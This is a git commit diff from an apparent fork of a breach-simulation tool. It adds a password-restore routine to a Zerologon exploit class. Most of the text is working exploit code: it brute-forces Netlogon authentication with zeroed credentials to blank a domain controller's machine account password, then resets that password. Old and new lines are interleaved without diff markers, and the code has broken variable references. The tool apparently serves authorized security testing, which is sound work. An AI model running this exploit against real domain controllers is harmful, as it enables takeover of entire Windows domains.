forked from p34709852/monkey
Add restore_password()
This commit is contained in:
Shreya
parent
9468de471d
commit
44e15bd2a0
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@ -7,43 +7,65 @@ import logging
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from impacket.dcerpc.v5 import epm, nrpc, transport
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from impacket.dcerpc.v5 import nrpc, epm
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from impacket.dcerpc.v5.dtypes import NULL
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from impacket.dcerpc.v5 import transport
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from impacket import crypto
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from impacket.dcerpc.v5.ndr import NDRCALL
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import impacket
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from binascii import hexlify, unhexlify
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from Cryptodome.Cipher import DES, AES, ARC4
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from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
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LOG = logging.getLogger(__name__)
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class NetrServerPasswordSet(nrpc.NDRCALL):
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opnum = 6
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structure = (
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('PrimaryName', nrpc.PLOGONSRV_HANDLE),
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('AccountName', nrpc.WSTR),
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('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
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('ComputerName', nrpc.WSTR),
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('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
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('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
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)
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class NetrServerPasswordSetResponse(nrpc.NDRCALL):
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structure = (
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('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
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('ErrorCode', nrpc.NTSTATUS),
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)
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class ZerologonExploiter(HostExploiter):
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_TARGET_OS_TYPE = ['windows']
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_EXPLOITED_SERVICE = 'Netlogon'
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MAX_ATTEMPTS = 2000
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def __init__(self, host):
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super().__init__(host)
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self.vulnerable_port = None
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self.zerologon_finger = ZerologonFinger()
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def _exploit_host(self):
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MAX_ATTEMPTS = 2000
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zerologon_finger = ZerologonFinger()
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DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
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DC_IP = self.host.ip
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DC_NAME = zerologon_finger.get_dc_name(DC_IP)
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DC_HANDLE = '\\\\' + DC_NAME
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if zerologon_finger.get_host_fingerprint(self.host): # exploitable
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LOG.info("Target vulnerable, changing account password to empty string")
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if self.is_exploitable():
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LOG.info("Target vulnerable, changing account password to empty string.")
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# Connect to the DC's Netlogon service.
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binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
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protocol='ncacn_ip_tcp')
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rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
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rpc_con.connect()
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rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
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rpc_con = self.connect_to_dc(DC_IP)
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# Start exploiting attempts.
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# Max attempts = 2000. Expected average number of attempts needed: 256.
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result = None
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for _ in range(0, MAX_ATTEMPTS):
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for _ in range(0, self.MAX_ATTEMPTS):
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try:
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result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
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result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
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except nrpc.DCERPCSessionError as ex:
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# Failure should be due to a STATUS_ACCESS_DENIED error.
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# Otherwise, the attack is probably not working.
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@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter):
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else:
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LOG.info("Non-zero return code, something went wrong.")
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# how do i execute monkey on the exploited machine?
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# restore password
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## how do i execute monkey on the exploited machine?
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## restore password
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else:
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LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
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def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER):
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def get_dc_details(self):
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dc_ip = self.host.ip
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dc_name = self.zerologon_finger.get_dc_name(dc_ip)
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dc_handle = '\\\\' + DC_NAME
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return dc_ip, dc_name, dc_handle
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def is_exploitable(self):
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return self.zerologon_finger.get_host_fingerprint(self.host)
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def connect_to_dc(self, DC_IP):
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binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
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protocol='ncacn_ip_tcp')
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rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
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rpc_con.connect()
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rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
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return rpc_con
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def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
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request = nrpc.NetrServerPasswordSet2()
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request['PrimaryName'] = DC_HANDLE + '\x00'
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request['AccountName'] = TARGET_COMPUTER + '$\x00'
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request['AccountName'] = DC_NAME + '$\x00'
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request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
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authenticator = nrpc.NETLOGON_AUTHENTICATOR()
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authenticator['Credential'] = b'\x00' * 8
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authenticator['Timestamp'] = 0
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request['Authenticator'] = authenticator
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request['ComputerName'] = TARGET_COMPUTER + '\x00'
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request['ComputerName'] = DC_NAME + '\x00'
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request['ClearNewPassword'] = b'\x00' * 516
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return rpc_con.request(request)
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def restore_password(self):
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# get nthash using secretsdump and then restore password
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pass
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def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
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## get nthash using secretsdump and then restore password
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# Keep authenticating until successful.
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LOG.info("Restoring original password...")
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for _ in range(0, self.MAX_ATTEMPTS):
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rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
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if rpc_con is not None:
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break
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if rpc_con:
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LOG.info("DC machine account password should be restored to its original value.")
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else:
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LOG.info("Failed to restore password.")
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def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
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# Connect to the DC's Netlogon service.
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rpc_con = self.connect_to_dc(DC_IP)
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plaintext = b'\x00'*8
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ciphertext = b'\x00'*8
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flags = 0x212fffff
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# Send challenge and authentication request.
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server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
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DC_NAME + '\x00', plaintext)
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server_challenge = server_challenge_response['ServerChallenge']
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try:
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server_auth = nrpc.hNetrServerAuthenticate3(
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rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
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nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
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DC_NAME + '\x00', ciphertext, flags
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)
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# It worked!
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assert server_auth['ErrorCode'] == 0
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server_auth.dump()
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session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
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unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
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try:
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authenticator = nrpc.NETLOGON_AUTHENTICATOR()
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authenticator['Credential'] = ciphertext
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authenticator['Timestamp'] = b"\x00" * 4
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nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
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nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
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request = NetrServerPasswordSet()
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request['PrimaryName'] = NULL
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request['AccountName'] = DC_NAME + '$\x00'
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request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
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request['ComputerName'] = DC_NAME + '\x00'
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request["Authenticator"] = authenticator
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pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
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request["UasNewPassword"] = pwd_data
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resp = rpc_con.request(request)
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resp.dump()
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except Exception as ex:
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LOG.info(f"Unexpected error: {ex}")
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return rpc_con
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except nrpc.DCERPCSessionError as ex:
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# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
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if ex.get_error_code() == 0xc0000022:
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return None
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else:
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LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
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except BaseException as ex:
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LOG.info(f"Unexpected error: {ex}")
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